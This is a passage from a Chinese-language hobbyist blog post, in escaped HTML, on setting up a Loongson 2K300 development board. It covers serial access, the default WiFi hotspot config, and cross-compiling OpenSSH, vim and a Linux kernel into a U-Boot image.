src=\"/img/Pasted%20image%2020240912161052.png\"\u003e\u003c/p\u003e\u003cp\u003e然后给那个老板子插电脑上:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912160313.png\"\u003e\u003c/p\u003e\u003cp\u003e诶,这不就有了吗。\u003c/p\u003e\u003cp\u003e现在就能用\u003ccode\u003escreen\u003c/code\u003e从串口连接上开发板了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo screen /dev/ttyUSB0 115200\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912161227.png\"\u003e\u003c/p\u003e\u003cp\u003e板子上电之后会默认启动WiFi热点,配置文件如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#/etc/hostapd.conf\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einterface=wlan0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edriver=nl80211 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003essid=LoongsonWIFI \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehw_mode=g \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003echannel=6 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emacaddr_acl=0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eauth_algs=1 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eignore_broadcast_ssid=0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa=2 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_passphrase=loongson123456 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_key_mgmt=WPA-PSK \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_pairwise=TKIP \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ersn_pairwise=CCMP\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e虽然可以连上WiFi,但是它的\u003ccode\u003esshd\u003c/code\u003e进程好像是默认不开启的。\u003c/p\u003e\u003cp\u003e哦它没有openssh啊。\u003c/p\u003e\u003ch2 id=\"交叉编译\"\u003e\u003ca href=\"#交叉编译\" class=\"headerlink\" title=\"交叉编译\"\u003e\u003c/a\u003e交叉编译\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://wszqkzqk.github.io/2024/08/08/devtools-loong64/\"\u003e在x86设备上跨架构构建龙芯的Arch Linux软件包 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/Pacman/%E6%8F%90%E7%A4%BA%E5%92%8C%E6%8A%80%E5%B7%A7#%E4%BB%8E_CD/DVD_%E6%88%96_U_%E7%9B%98%E5%AE%89%E8%A3%85%E8%BD%AF%E4%BB%B6%E5%8C%85\"\u003epacman\u0026#x2F;提示和技巧 - Arch Linux 中文维基\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/%E7%A6%BB%E7%BA%BF%E5%AE%89%E8%A3%85\"\u003e离线安装 - Arch Linux 中文维基\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/%E4%BB%8E%E7%8E%B0%E6%9C%89_Linux_%E5%8F%91%E8%A1%8C%E7%89%88%E5%AE%89%E8%A3%85_Arch_Linux#%E5%9C%A8%E5%AE%BF%E4%B8%BB%E7%B3%BB%E7%BB%9F%E4%B8%8A%E8%BF%90%E8%A1%8C_pacman\"\u003e从现有 Linux 发行版安装 Arch Linux - Arch Linux 中文维基\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e参数,来自xdosc的佬@chi\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eCFLAGS=\u003cspan class=\"string\"\u003e\u0026#x27;--with-arch=loongarch64 --with-tune=la464 --with-abi=lp64d --with-simd=none --disable-threads\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"OpenSSH\"\u003e\u003ca href=\"#OpenSSH\" class=\"headerlink\" title=\"OpenSSH\"\u003e\u003c/a\u003eOpenSSH\u003c/h3\u003e\u003cp\u003e准备目录.\u0026#x2F;openssh并进入,下载源码:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e1.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget http://www.zlib.net/zlib-1.3.1.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget https://github.com/openssl/openssl/releases/download/openssl-3.3. \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2/openssl-3.3.2.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e item \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e $(\u003cspan class=\"built_in\"\u003els\u003c/span\u003e ./);\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e tar -zxvf \u003cspan class=\"variable\"\u003e$item\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e创建目录.\u0026#x2F;openssh\u0026#x2F;install\u003cbr\u003e创建脚本env.sh:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e PATH=\u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PATH\u003c/span\u003e:/path/to/cross-tools/bin\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面指向的是交叉编译工具链的路径,提前准备。\u003c/p\u003e\u003cp\u003e准备环境:\u003ccode\u003esource ~/env.sh\u003c/code\u003e\u003c/p\u003e\u003cp\u003e编译zlib:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e zlib-1.3.1/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/zlib CC=loongarch64-unknown-linux-gnu-gcc AR=loongarch64-unknown-linux-gnu-ar ./configure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译\u003ccode\u003eopenssl\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e openssl-3.3.2/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e./Configure linux64-loongarch64 --cross-compile-prefix=loongarch64-unknown-linux-gnu- --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssl shared no-asm\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译openssh:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./configure --host=loongarch64-unknown-linux-gnu --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssh --with-ssl-dir=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssl --with-zlib=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/2k300/openssh/install/zlib LDFLAGS=\u003cspan class=\"string\"\u003e\u0026quot;-static -pthread\u0026quot;\u003c/span\u003e --sysconfdir=/etc/ssh --disable-strip\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install-files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e注意 此处使用\u003ccode\u003e~\u003c/code\u003e概率会导致编译异常,使用\u003ccode\u003e$HOME\u003c/code\u003e代替\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这里因为没找到在哪指定strip工具的位置而禁用了strip,所以产物会稍微有丶大。\u003c/p\u003e\u003cp\u003e编译结束之后,产物可以在\u003ccode\u003e$HOME/2k300/openssh/install/openssh\u003c/code\u003e中找到。直接把文件传输到99pi对应的目录里即可。\u003c/p\u003e\u003cp\u003e传输方法可以使用tty串口传输,不过速度太慢:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# server-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003euuencode [filename-in-99pi] \u0026lt; [file] \u0026gt; /dev/ttyUSB0\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003euudecode \u0026lt; /dev/ttyS0 \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也可以使用tftp传输:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# server-side:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esudo uftpd -n -o ftp=0,tftp=69 ./\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etftp -g -l ssh-xxx -r openssh/bin/ssh-xxx [114.5.1.4]\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e剩下的后面说。\u003c/p\u003e\u003ch3 id=\"Vim\"\u003e\u003ca href=\"#Vim\" class=\"headerlink\" title=\"Vim\"\u003e\u003c/a\u003eVim\u003c/h3\u003e\u003cul\u003e\u003cli\u003encurses: \u003ca href=\"https://ftp.gnu.org/gnu/ncurses/ncurses-6.5.tar.gz\"\u003ehttps://ftp.gnu.org/gnu/ncurses/ncurses-6.5.tar.gz\u003c/a\u003e\u003c/li\u003e\u003cli\u003evim: \u003ca href=\"https://github.com/vim/vim\"\u003ehttps://github.com/vim/vim\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etar -zxvf ncurses-6.5.tar.gz \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e ncurses-6.5.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ncurses-6.5/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e./configure --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/vim/nc_install --host=loongarch64-unknown-linux-gnu --without-cxx-binding --without-ada --without-progs --without-tests --with-shared\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake -j \u0026amp;\u0026amp; make install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e TARGET=loongarch64-unknown-linux-gnu\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Linux-Kernel\"\u003e\u003ca href=\"#Linux-Kernel\" class=\"headerlink\" title=\"Linux Kernel\"\u003e\u003c/a\u003eLinux Kernel\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e参考文档:龙芯2K300.软件uboot用户手册0.2\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e把linux6.9源码里的\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003earch/loongarch/boot/dts\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003einclude/dts-bindings\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e复制到新的内核源码的对应位置,然后\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emake ARCH=loongarch CROSS_COMPILE=loongarch64-unknown-linux-gnu- ls2k0300_99_pai_wifi_defconfig\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake ARCH=loongarch CROSS_COMPILE=loongarch64-unknown-linux-gnu- -j8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e产物:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003earch/loongarch/boot/vmlinux.bin\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSystem.map\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e现在制作\u003ccode\u003evmlinux.bin.lzma\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003elzma -k ./linux-6.11/arch/loongarch/boot/vmlinux.bin\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emv\u003c/span\u003e ./linux-6.11/arch/loongarch/boot/vmlinux.bin.lzma ./\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e创建文件:multi.its,并更新其中的\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eimages/kernel-1/entry\u003c/code\u003e:为\u003ccode\u003e./linux-6.11/System.map\u003c/code\u003e中的\u003ccode\u003ekernel_entry\u003c/code\u003e的地址,格式参考下方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eimages/kernel-1/data\u003c/code\u003e:为lzma文件相对于当前文件的路径\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/*\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e* U-Boot uImage \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e file with multiple kernels and ramdisks blobs\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e*/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/dts-v1/;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;Various kernels and ramdisks blobs\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e#address-cells = \u0026lt;2\u0026gt;;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e images \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e kernel-1 \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;vmlinux\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = /incbin/(\u003cspan class=\"string\"\u003e\u0026quot;vmlinux.bin.lzma\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;kernel\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003earch\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;loongarch\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e os = \u003cspan class=\"string\"\u003e\u0026quot;linux\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e compression = \u003cspan class=\"string\"\u003e\u0026quot;lzma\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e load = \u0026lt;0x90000000 0x00200000\u0026gt;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e entry = \u0026lt;0x90000000 0x01348000\u0026gt;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e configurations \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e default = \u003cspan class=\"string\"\u003e\u0026quot;config-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e config-1 \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;vanilla-2.6.23 configuration\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e kernel = \u003cspan class=\"string\"\u003e\u0026quot;kernel-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e loadables = \u003cspan class=\"string\"\u003e\u0026quot;kernel-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e生成\u003ccode\u003euImage\u003c/code\u003e镜像:\u003ccode\u003emkimage -f multi.its uImage\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"Arch-Linux\"\u003e\u003ca href=\"#Arch-Linux\" class=\"headerlink\" title=\"Arch Linux\"\u003e\u003c/a\u003eArch 